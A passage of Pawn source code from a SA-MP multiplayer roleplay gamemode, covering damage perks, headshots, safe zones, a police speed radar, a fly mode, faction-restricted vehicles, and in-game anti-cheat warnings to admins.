SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
else
{
if(weaponid!=24)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-35);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Extra Damage II.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
else
{
}
}
}
if(ExtraDamage3[playerid]&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
if(!DeadlyDeagle[playerid])
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-60);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Extra Damage III.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
else
{
if(weaponid!=24)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-60);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Extra Damage III.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
else
{
}
}
}
if(LuckyTime[playerid]&&!GodmodeFeature[damagedid]&&pArmour<5)
{
if(CantHoldGun[damagedid]!=1)
{
CantHoldGun[damagedid]=1;
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Lucky Time.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
SCM(damagedid, COLOR_LIGHTRED, "You can't hold any guns now.");
}
}
}
if((Boss!=-1)&&(damagedid==Boss)&&(weaponid==38)&&(PINFO[playerid][pAdmin]<13))return 0;
if((Boss!=-1)&&(damagedid==Boss)&&(GodmodeFeature[playerid]==true))return 0;
if(GodmodeFeature[damagedid] == false)
{
if(OnPaintBall[damagedid] != 0 && OnPaintBall[playerid] != 0 && damagedid != INVALID_PLAYER_ID && playerid != INVALID_PLAYER_ID)
{
new Float:x,Float:y,Float:z;
GetPlayerPos(playerid, x, y, z);
PlayerPlaySound(playerid, 17802,x, y, z);
if(ProxDetectorS(30,playerid,damagedid))
{
   if(bodypart == 9)
	{
	new Float:Health;
	new Float:Armour;
	GetPlayerHealth(damagedid, Health);
	GetPlayerArmour(damagedid, Armour);
	if(Health >= 0.1 && Armour == 0)
	{
	if(Health >= 51)
	{
	SetPlayerKoon(true, damagedid, Health-50);
    }
    else
    {
 	GameTextForPlayer(damagedid, "~w~HeadShot!!!",2000,6);
	SetPlayerKoon(true, damagedid, 0);
    }
	}
}
}
}
}
    if(SafeZoneCheck[damagedid] == 1 && SafeOn == 1 && OnWar[damagedid] == 9999 && !IsACop(damagedid))
    {
	new Float:hHlt;
	GetPlayerHealth(damagedid, hHlt);
	SetPlayerKoon(true, damagedid, hHlt+GetDamageFromWeaponID(weaponid));
    }
	if(SafeZoneCheck[playerid] == 1 && SafeOn == 1 && OnWar[playerid] == 9999 && OnDuty[playerid] == 0)
	{
	if(GetPlayerWantedLevel(damagedid)==0)
	{
	TogglePlayerControllable(playerid, 0);
	SendMessage(playerid, COLOR_LIGHTRED, "You have been automatically frozen for 3 seconds because you hit players in Safezone.");
	SetTimerEx("SafeFreeze",3000,0,"i",playerid);
	}
	if(GetPlayerWantedLevel(damagedid)>=1&&!IsACop(playerid))
	{
	TogglePlayerControllable(playerid, 0);
	SendMessage(playerid, COLOR_LIGHTRED, "You have been automatically frozen for 3 seconds because you hit players in Safezone.");
	SetTimerEx("SafeFreeze",3000,0,"i",playerid);
	}
	if(GetPlayerWantedLevel(damagedid)>=1&&IsACop(playerid)){}
	}
	if(GodmodeFeature[damagedid] == true) return SetPlayerKoon(true, damagedid, 100000.0);
	if(weaponid == 34)
	{
	   SetPlayerZereh(damagedid, 0);
	   return SetPlayerKoon(false, damagedid, 0);
	}
	if(weaponid <= 46 && weaponid != 37)
	{
	   new Float:HA;
	   if(Zereh[damagedid] == 0)
	   {
		  GetPlayerHealth(damagedid, HA);
		  SetPlayerKoon(false, damagedid, HA-amount);
	   }
	   else if(Zereh[damagedid] > 0)
	   {
		  GetPlayerArmour(damagedid, HA);
		  new Float:zereh = HA-amount;
		  if(zereh > 0) Zereh[damagedid] = zereh;
		  else {Zereh[damagedid] = 0.0;}
	   }
	}
	return 1;
}
public OnIncomingPacket(playerid, packetid, BitStream:bs)
{
	if(playerid==INVALID_PLAYER_ID||!gPlayerLogged[playerid])return 1;
	if(Desync[playerid])return 0;
	return 1;
}
public SetZero(playerid)
{
HeadCounter[playerid] = 0;
return 1;
}
public CheckCounts(playerid)
{
if(HeadCounter[playerid] >= 3)
{
if(anticheat[playerid] != 0)
{
new sendadmins[128];
format(sendadmins, sizeof(sendadmins), "{ffffff}Player %s(%i) is suspicious for using aim bot",RPName(playerid), playerid);
AdminWarn(sendadmins);
}
}
return 1;
}
/*----------------------------------------------------------------------------*/
public IsInFaction(plyid)
{
	if(IsPlayerConnected(plyid))
	{
	   if(PINFO[plyid][pLeader] >= 1 || PINFO[plyid][pMember] >= 1)
	   {
		  return 1;
	   }
	}
	return 0;
}
stock FactionID(playerid)
{
if(PINFO[playerid][pLeader]>=1)return PINFO[playerid][pLeader];
else if(PINFO[playerid][pMember]>=1)return PINFO[playerid][pMember];
else return 0;
}
stock IsInClan(plyid)
{
	if(IsPlayerConnected(plyid))
	{
	   if(PINFO[plyid][pClan] == 1)
	   {
		  return 1;
	   }
	   if(PINFO[plyid][pClan] == 2)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public GetPlayerZone(playerid)
{
	for(new i = 0;i<sizeof(TurfInfo);i++)
	{
	   if(IsPlayerInTurf(playerid,i))
	   {
		  return i;
	   }
	}
	return -1;
}
/*----------------------------------------------------------------------------*/
public IsPlayerInHQ(playerid)
{
	new mem;
	if(PlayerInfo[playerid][pLeader]) mem = PlayerInfo[playerid][pLeader];
	else mem = PlayerInfo[playerid][pMember];
	if(mem == 5 && Mahal[playerid] == 7)
	{
	   return 1;
	}
	if(mem == 6 && Mahal[playerid] == 9)
	{
	   return 1;
	}
	if(mem == 8 && Mahal[playerid] == 10)
	{
	   return 1;
	}
	if(mem == 12 && Mahal[playerid] == 12)
	{
	   return 1;
	}
	if(mem == 13 && Mahal[playerid] == 13)
	{
	   return 1;
	}
	if(mem == 14 && Mahal[playerid] == 8)
	{
	   return 1;
	}
	if(mem == 15 && Mahal[playerid] == 11)
	{
	   return 1;
	}
	   if(mem == 17 && Mahal[playerid] == 199)
	{
	   return 1;
	}
	   if(mem == 19 && Mahal[playerid] == 214)
	{
	   return 1;
	}
	return 0;
}


//--------------


IsPlayerInHQCl(playerid)
{
	new mem2;
	if(PlayerInfo[playerid][pClan]) mem2 = PlayerInfo[playerid][pClan];

	   if(mem2 == 1 && Mahal[playerid] == 212)
	{
	   return 1;
	}
	   if(mem2 == 2 && Mahal[playerid] == 357)
	{
	   return 1;
	}
	   if(mem2 == 3 && Mahal[playerid] == 2145)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
IsUnusedMashin(vehicleid)
{
	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(IsPlayerInVehicle(i,vehicleid) && GetPlayerState(i) == PLAYER_STATE_DRIVER) return 0;
	   }
	}
	return 1;
}
/*----------------------------------------------------------------------------*/
GetVehicleDriverID(vehicleid)
{
	for(new i = 0;i<Akharish;i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(GetPlayerVehicleID(i) == vehicleid && GetPlayerState(i) == PLAYER_STATE_DRIVER)
		  {
			 return i;
		  }
	   }
	}
	return INVALID_PLAYER_ID;
}
/*----------------------------------------------------------------------------*/
public speedcheck(playerid,speed)
{
	for(new i = 0;i < Akharish; i++)
	{
		if(OnSpeedc[playerid] == 1 && IsACop(playerid))
		{
			new veh = GetPlayerVehicleID(i);
			new sppeed = soratbegirs(veh);
			new Float:px,Float:py,Float:pz;
			GetPlayerPos(playerid,px,py,pz);
			if(PTP(20.0, i, px, py, pz))
			{
			   if(!IsACop(i) && !IsAPlane(GetPlayerVehicleID(i)) && EngineSTATE[GetPlayerVehicleID(i)] == 1 && i != INVALID_PLAYER_ID && sppeed > speed && MaxSorat[GetPlayerVehicleID(i)] < speed && GetPlayerState(i) == PLAYER_STATE_DRIVER)
			   {
				  new string[256];
				  new myname[MAX_PLAYER_NAME];
				  new tarname[MAX_PLAYER_NAME];
				  GetPlayerName(playerid,myname,MAX_PLAYER_NAME);
				  GetPlayerName(i,tarname,MAX_PLAYER_NAME);
				  format(string,256,"%s ID[%d] using max speed with speed %dkm/h.",tarname,i,sppeed);
				  SCM(playerid,COLOR_LIGHTRED,string);
				  format(string,256,"You used Max speed ( %dkm/h ) and it's Writen on police's Speed Radar by %s, You allowed to use %dkm/h on this road.",sppeed,myname,speed);
				  SCM(i,COLOR_LIGHTRED,string);
			   }
			}
		}
	}
	return 1;
}
InitFly(playerid)
{
  OnFly[playerid] = false;
  return;
}

bool:StartFly(playerid)
{
	   if(OnFly[playerid])
	   return false;
	   OnFly[playerid] = true;
	   LoopingAnim(playerid,"DEALER","DEALER_IDLE",6.1,1,1,1,1,0);
	   Fly(playerid);
	   /*
	   GameTextForPlayer(playerid,"~y~Fly mode~n~~r~~k~~PED_FIREWEAPON~ ~w~- increase height~n~~r~RMB ~w~- reduce height~n~\
	   ~r~~k~~PED_SPRINT~ ~w~- increase speed~n~\
	   ~r~~k~~SNEAK_ABOUT~ ~w~- reduce speed",3000,3);
	   */
	   return true;
}
public Fly(playerid)
{
	   if(!IsPlayerConnected(playerid))
	   return 1;
	   new k, ud,lr;
	   GetPlayerKeys(playerid,k,ud,lr);
	   new Float:v_x,Float:v_y,Float:v_z,
			 Float:x,Float:y,Float:z;
	   if(ud < 0)      // forward
	   {
			 GetPlayerCameraFrontVector(playerid,x,y,z);
			 v_x = x+0.1;
			 v_y = y+0.1;
	   }
	   if(k & 128)     // down
			 v_z = -0.2;
	   else if(k & KEY_FIRE)   // up
			 v_z = 0.2;
	   if(k & KEY_WALK)        // slow
	   {
			 v_x /=5.0;
			 v_y /=5.0;
			 v_z /=5.0;
	   }
	   if(k & KEY_SPRINT)      // fast
	   {
			 v_x *=4.0;
			 v_y *=4.0;
			 v_z *=4.0;
	   }
	   if(v_z == 0.0)
			 v_z = 0.025;
	   SetPlayerVelocity(playerid,v_x,v_y,v_z);
	   if(v_x == 0 && v_y == 0)
	   {
			 if(GetPlayerAnimationIndex(playerid) == 959)
					LoopingAnim(playerid,"DEALER","DEALER_IDLE",6.1,1,1,1,1,0);
	   }
	   else
	   {
			 GetPlayerCameraFrontVector(playerid,v_x,v_y,v_z);
			 GetPlayerCameraPos(playerid,x,y,z);
			 SetPlayerLookAt(playerid,v_x*500.0+x,v_y*500.0+y);
			 if(GetPlayerAnimationIndex(playerid) != 959)
					LoopingAnim(playerid,"PARACHUTE","FALL_SkyDive_Accel",6.1,1,1,1,1,0);
	   }
	   if(OnFly[playerid])
			 SetTimerEx("Fly",100,false,"i",playerid);
	   return 1;
}
bool:StopFly(playerid)
{
  if(!OnFly[playerid])
	return false;
  new Float:x,Float:y,Float:z;
  GetPlayerPos(playerid,x,y,z);
  SetPlayerPos(playerid,x,y,z);
  OnFly[playerid] = false;
  return true;
}
static SetPlayerLookAt(playerid,Float:x,Float:y)
{
  new Float:Px, Float:Py, Float: Pa;
  GetPlayerPos(playerid, Px, Py, Pa);
  Pa = floatabs(atan((y-Py)/(x-Px)));
  if (x <= Px && y >= Py)     Pa = floatsub(180.0, Pa);
  else if (x < Px && y < Py)     Pa = floatadd(Pa, 180.0);
  else if (x >= Px && y <= Py)  Pa = floatsub(360.0, Pa);
  Pa = floatsub(Pa, 90.0);
  if (Pa >= 360.0)
	Pa = floatsub(Pa, 360.0);
  SetPlayerFacingAngle(playerid, Pa);
  return;
}
/*
public radarchecker(playerid)
{
	if(RadarSS[playerid] == 1) {

	if(!PTP(5.0, playerid, 1217.404541,767.701293,15.033952)) {
	RadarSS[playerid] = 0;
	KillTimer(RadarTimer[playerid]);
	SCM(playerid, COLOR_SSH, "Radar turned off.");
	return 1;
	}
	for(new i = 0;i < Akharish; i++)
	{
		if(RadarSS[playerid] == 1 && PINFO[i][pSoldier] == 0 && PINFO[i][pLeader] != 21 && PTP(120.0, i, 1176.165527,730.026245,10.818805) && gPlayerLogged[i] == 1 && RadarChecked[i] == 0)
		{
			new str[512];
			new Float:pDistance;
			new Float:X,Float:Y,Float:Z;
		  GetPlayerPos(playerid, X, Y, Z);
			pDistance = GetPlayerDistanceFromPoint(i, X, Y, Z);
			new Diss = floatround(pDistance, floatround_round);

			new playerState = GetPlayerState(i);
			if(playerState == PLAYER_STATE_ONFOOT) {
			format(str, sizeof(str), "%s(%d) near of the army place. State: On-Foot , Distance: %dm from radar",PINFO[i][pName],i,Diss);
			}
			if(playerState ==  PLAYER_STATE_DRIVER || playerState == PLAYER_STATE_PASSENGER) {
			new veh = GetPlayerVehicleID(i);
			new vehicles = GetVehicleModel(veh) - 400;
			format(str, sizeof(str), "%s(%d) near of the  army place. State: On %s , Distance: %dm from radar",PINFO[i][pName],i,aVehicleNames[vehicles],Diss);
			}
		  SCM(playerid, COLOR_SSH, str);
			RadarChecked[i] = 1;
			SetTimerEx("UnRadarChecked",30000,0,"i",i);
		}
	}
}
   return 1;
}
*/
/*
public UnRadarChecked(i)
{
	RadarChecked[i] = 0;
	return 1;
}
*/
public set1(playerid,r)
{
	new Float:x,Float:y,Float:z;
	GetPlayerPos(r,x,y,z)
	SetPlayerMapIcon(playerid, 90, x, y, z, 0, 2, MAPICON_GLOBAL_CHECKPOINT);
	SetTimerEx("set1",5000,1,"ii",playerid,r);
	return 1;
}
/*----------------------------------------------------------------------------*/
stock Float:GetDistanceBetweenPoints(Float:X, Float:Y, Float:Z, Float:PointX, Float:PointY, Float:PointZ) return floatsqroot(floatadd(floatadd(floatpower(floatsub(X, PointX), 2.0), floatpower(floatsub(Y, PointY), 2.0)), floatpower(floatsub(Z, PointZ), 2.0)));
stock GetNearestVehicle(playerid, Float:Distance = 1000.0)
{
	if(!Distance) Distance = 1000.0;
	new Float:X[2], Float:Y[2], Float:Z[2], Float:NearestPos = floatabs(Distance), NearestVehicle = INVALID_VEHICLE_ID;
	GetPlayerPos(playerid, X[0], Y[0], Z[0]);
	for(new i = 0; i<MAX_VEHICLES; i++)
	{
	   if(!IsVehicleStreamedIn(i, playerid)) continue;
	   GetVehiclePos(i, X[1], Y[1], Z[1]);
	   if(NearestPos > GetDistanceBetweenPoints(X[0], Y[0], Z[0], X[1], Y[1], Z[1])) NearestPos = GetDistanceBetweenPoints(X[0], Y[0], Z[0], X[1], Y[1], Z[1]), NearestVehicle = i;
	}
	return NearestVehicle;
}
stock Float:GetPlayerDistanceFromGround(playerid)
{
new Float:mx, Float:my, Float:mz, Float:nz, Float:dis;
GetPlayerPos(playerid, mx, my, mz);
CA_FindZ_For2DCoord(mx, my, nz);
dis = VectorSize(0.0,0.0,mz-nz);
return dis;
}
/*----------------------------------------------------------------------------*/
FixKoon(playerid)
{
	new Float:health;
	GetPlayerHealth(playerid,health);
	if(health >= 75)
	{
	   SetPlayerKoon(true, playerid, 100);
	}
	else
	{
	   SetPlayerKoon(true, playerid, health+25);
	}
	return 1;
}
/*----------------------------------------------------------------------------*/
public DollahScoreUpdate()
{
	new LevScore;
	for(new i=0; i<Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  LevScore = PlayerInfo[i][pLevel];
		  SetPlayerScore(i, LevScore);
	   }
	}
	return 1;
}
/*----------------------------------------------------------------------------*/
stock IsUnusedVehicle(vehicleid)
{
	for(new i =0; i<Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(IsPlayerInVehicle(i,vehicleid)) return 0;
	   }
	}
	return 1;
}
/*----------------------------------------------------------------------------*/
public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
{
if(FCNPC_IsValid(playerid)) return 1;
	new Float:vpos[3];
	GetVehiclePos(vehicleid,vpos[0],vpos[1],vpos[2]);
	if(!ispassenger && !IsPlayerInRangeOfPoint(playerid,10.0,vpos[0],vpos[1],vpos[2]))
	{
	    SetVehiclePos(vehicleid,vpos[0],vpos[1],vpos[2]);
	    GetPlayerPos(playerid,vpos[0],vpos[1],vpos[2]);
	    SetPlayerPosEx(playerid,vpos[0],vpos[1],vpos[2]);
	    SendClientMessage(playerid,COLOR_YELLOW2,"Error: This vehicle isn't synced here. You are lag or cheater.");
		if(anticheat[playerid] != 0)
		{
		CheatWarn(playerid, 10, 0.0, vehicleid, 0);
		}
	    return 1;
	}
	LastSpeedVeh[playerid] = 0 ;
	if(GetVehicleDriverID(vehicleid) != INVALID_PLAYER_ID) {OnEnteringVeh[playerid] = vehicleid; OnEnteringVehPlay[playerid] = GetVehicleDriverID(vehicleid);}
	else {OnEnteringVeh[playerid] = 0; OnEnteringVehPlay[playerid] = INVALID_PLAYER_ID;}


	if (IsACopCar(vehicleid) && !ispassenger)
			 {
					if(IsACop(playerid)) {}
				else {
								SCM(playerid, COLOR_PD, "You are not a cop");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }

	if (IsACopCarV2(vehicleid) && !ispassenger)
			 {
					if(IsACop(playerid)) {}
				else {
								SCM(playerid, COLOR_PD, "You are not a cop");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsACopCarV3(vehicleid) && !ispassenger)
			 {
					if(IsACop(playerid)) {}
				else {
								SCM(playerid, COLOR_PD, "You are not a cop");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsACopCarV4(vehicleid) && !ispassenger)
			 {
					if(IsACop(playerid)) {}
				else {
								SCM(playerid, COLOR_PD, "You are not a cop");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsACopCarV5(vehicleid) && !ispassenger)
			 {
					if(IsACop(playerid)) {}
				else {
								SCM(playerid, COLOR_PD, "You are not a cop");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsAHackCar(vehicleid) && !ispassenger)
			 {
					if(IsAHacker(playerid)) {}
				else {
								SCM(playerid, COLOR_HACKER, "You are not Unknowns member");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
			 if(IsAnOilCar(vehicleid) && !ispassenger)
			 {
					if(PINFO[playerid][pJob]==24) {}
				else {
								SCM(playerid, COLOR_OIL, "You are not an Oil Dealer");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
			 /*
	if (IsASCar(vehicleid) && !ispassenger)
			 {
					if(PINFO[playerid][pLeader] == 21 || PINFO[playerid][pLeader] == 3) {}
				else {
								SCM(playerid, COLOR_NG, "You are not a National Guard.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
			 */
	if (IsAnAmbulance(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 4||PlayerInfo[playerid][pMember] == 4) { }
				else {
								SendMessage(playerid, COLOR_MEDIC,"You are not a medic.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 5||PlayerInfo[playerid][pMember] == 5) { }
				else {
								SendMessage(playerid, TEAM_CUN_COLOR,"You are not a The Silence Mafia member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar2(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 6||PlayerInfo[playerid][pMember] == 6) { }
				else {
								SendMessage(playerid, COLOR_Triads,"You are not a The Killers Family member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar3(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 16||PlayerInfo[playerid][pMember] == 16) { }
				else {
								SendMessage(playerid, COLOR_TCC,"You are not a Tow Truck Company member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar4(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 12||PlayerInfo[playerid][pMember] == 12) { }
				else {
								SendMessage(playerid, COLOR_GroveStreet,"You are not a Dangerous Tiger Family member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar5(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 13||PlayerInfo[playerid][pMember] == 13) { }
				else {
								SendMessage(playerid, COLOR_Vagos,"You are not a Legendary Men Family member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar6(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 14||PlayerInfo[playerid][pMember] == 14) { }
				else {
								SendMessage(playerid, COLOR_TBF,"You are not a Fast N Furious member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar7(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 15||PlayerInfo[playerid][pMember] == 15) { }
				else {
								SendMessage(playerid, COLOR_VLA,"You are not a Storm Men Family member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
	if (IsPGangCar19(vehicleid) && !ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 19||PlayerInfo[playerid][pMember] == 19) { }
				else {
								SendMessage(playerid, COLOR_TopBoys,"You are not a Top Boys member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }

	if (IsATaxiCar(vehicleid)) {
		if(!ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 10||PlayerInfo[playerid][pMember] == 10) { }
				else {
								SendMessage(playerid,COLOR_TAXI,"You are not a Taxi Driver.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
		}
	if (IsANewsCar(vehicleid)) {
		if(!ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 9||PlayerInfo[playerid][pMember] == 9) { }
				else {
								SendMessage(playerid, COLOR_NEWS, "You are not a News Reporter member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
		}
	if(vehicleid >= 111 && vehicleid <= 116) {
		if(!ispassenger)
			 {
						if(TakingsiLesson[playerid] == 1) { }
					else if(PlayerInfo[playerid][pLeader] == 11||PlayerInfo[playerid][pMember] == 11) { }
				else {
								SendMessage(playerid, COLOR_SI, "You are not a school instructors member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
		}
		// By SiNaGaMeR
				if((vehicleid == 149) || (vehicleid == 548))
	{
		if(!ispassenger)
			 {
				if(PlayerInfo[playerid][pLeader] == 7 || PlayerInfo[playerid][pMember] == 7)
					{
					}
				else
					{
						SendMessage(playerid, 0xbbf060ff, "You are not Mayor.");// ;)
					new Float:cx, Float:cy, Float:cz;
					GetPlayerPos(playerid, cx, cy, cz);
					SetPlayerPos(playerid, cx,  cy, cz);
				}
			 }
	}
	if((vehicleid == hitmav) || (vehicleid == hitmav1) || (vehicleid == hitmav2) || (vehicleid == hitmav3) || (vehicleid == hitcarx1) || (vehicleid == hitcarx2) || (vehicleid == hitcarx3) || (vehicleid == hitcarx4) || (vehicleid == hitcarx5) || (vehicleid == hitcarx6) || (vehicleid == hitcarx7) || (vehicleid == hitcarx8) ||
	(vehicleid == hitcarx9) || (vehicleid == hitcarx10) || (vehicleid == hitcarx11) || (vehicleid == hitcarx12) || (vehicleid == hitcarx13) || (vehicleid == hitcarx14) || (vehicleid == hitcarx15) || (vehicleid == hitcarx16) || (vehicleid == hitcarx17) || (vehicleid == hitcarx18) || (vehicleid == hitcarx19) || (vehicleid == hitcarx20)) {
		if(!ispassenger)
			 {
					if(PlayerInfo[playerid][pLeader] == 8||PlayerInfo[playerid][pMember] == 8) { }
				else {
								SendMessage(playerid,COLOR_HITMAN,"You are not a Hitman member.");
						  new Float:cx, Float:cy, Float:cz;
						  GetPlayerPos(playerid, cx, cy, cz);
						  SetPlayerPos(playerid, cx,  cy, cz);
					}
			 }
		}
	return 1;
}
/*----------------------------------------------------------------------------*/
public OnVehicleDamageStatusUpdate(vehicleid, playerid)
{
	if ( GetPlayerState( playerid ) == PLAYER_STATE_DRIVER )
	{
		static
			damage_status[ 4 ];

   		GetVehicleDamageStatus( vehicleid, damage_status[ 0 ], damage_status[ 1 ], damage_status[ 2 ], damage_status[ 3 ] );

	    if ( damage_status[ 2 ] || damage_status[ 3 ] ) // ignore lights & tires
	        return 1;

		new
			time = GetTickCount( );

		switch( time - p_DamageSpamTime[ playerid ] )
		{
			case 0 .. 500:
			{
				if ( ++ p_DamageSpamCount{ playerid } >= 10 )
				{
					//CallLocalFunction( "OnPlayerCheatDetected", "ddd", playerid, CHEAT_TYPE_CAR_PARTICLE_SPAM, 0 );
	                if(cheatcode27[playerid] != 1)
	                {
					new prevent[144];
	                format(prevent, sizeof(prevent), "{ffffff}Player %s(%i) is spamming vehicle damage status with vehicleid %d (Prevented)",RPName(playerid), playerid, vehicleid);
                    AdminWarn(prevent);
                    cheatcode27[playerid] = 1;
                    SetTimerEx("cheatcode27timer", 5000, 0, "i", playerid);
                    }
                    CheatsCount[playerid] ++;
					return 1;
				}
			}
			default: p_DamageSpamCount{ playerid } = 0;
		}
		p_DamageSpamTime[ playerid ] = time;
 	}
	if(TakingLesson[playerid] == 1)
	{
	   new Float:health;
	   new veh;
	   veh = GetPlayerVehicleID(playerid);
	   GetVehicleHealth(veh, health);
		GetVehicleHealth(vehicleid, HPVEH[vehicleid]);
	   if(health <=900)
	   {
		   TakingLesson[playerid] = 0;
		   DisablePlayerRaceCheckpoint(playerid);
		   OnCheckpoint[playerid] = 0;
		   SetVehicleToRespawn(veh);
		   RemovePlayerFromVehicle(playerid);
		   if(PlayerInfo[playerid][pLanguage] == 2)
		   {
			 SCM(playerid,COLOR_JOB, "Exam: You broke the car! Failed on test.");
				PlayerTextDrawHide(playerid, ExamTD[playerid]);
		   }
		   if(PlayerInfo[playerid][pLanguage] == 1)
		   {
			 SCM(playerid,COLOR_JOB, "Amoozeshgah: To mashino daghoon kardi, radi!");
				PlayerTextDrawHide(playerid, ExamTD[playerid]);
		   }
		   RCP[playerid] = 0;
		   return 1;
	   }
	}
	if(OwnedMashin[vehicleid] == 1)
	{
	   new owner = MashinOwner[vehicleid],Float:health;GetVehicleHealth(vehicleid,health);
		if(vehicleid == PINFO[owner][pCar_1]) {
		new r = PlayerInfo[owner][pVeh1];
		 if(health >= 250.0)
	   {
		  GetVehicleDamageStatus(vehicleid,vInfo[r][cPanel],vInfo[r][cDoors],vInfo[r][cLights],vInfo[r][cTires]);
		  SaveKonValV(r, "cPanel", vInfo[r][cPanel]);
		  SaveKonValV(r, "cDoors", vInfo[r][cDoors]);
		  SaveKonValV(r, "cLights", vInfo[r][cLights]);
		  SaveKonValV(r, "cTires", vInfo[r][cTires]);
		  vInfo[r][cHealth] = health;
		  SaveKonFloatV(r, "cHealth", health);
	   }
		}
		if(vehicleid == PINFO[owner][pCar_2]) {
		new r = PlayerInfo[owner][pVeh2];
		 if(health >= 250.0)
	   {
		  GetVehicleDamageStatus(vehicleid,vInfo[r][cPanel],vInfo[r][cDoors],vInfo[r][cLights],vInfo[r][cTires]);
		  SaveKonValV(r, "cPanel", vInfo[r][cPanel]);
		  SaveKonValV(r, "cDoors", vInfo[r][cDoors]);
		  SaveKonValV(r, "cLights", vInfo[r][cLights]);
		  SaveKonValV(r, "cTires", vInfo[r][cTires]);
		  vInfo[r][cHealth] = health;
		  SaveKonFloatV(r, "cHealth", health);
	   }
		}
		if(vehicleid == PINFO[owner][pCar_3]) {
		new r = PlayerInfo[owner][pVeh3];
		 if(health >= 250.0)
	   {
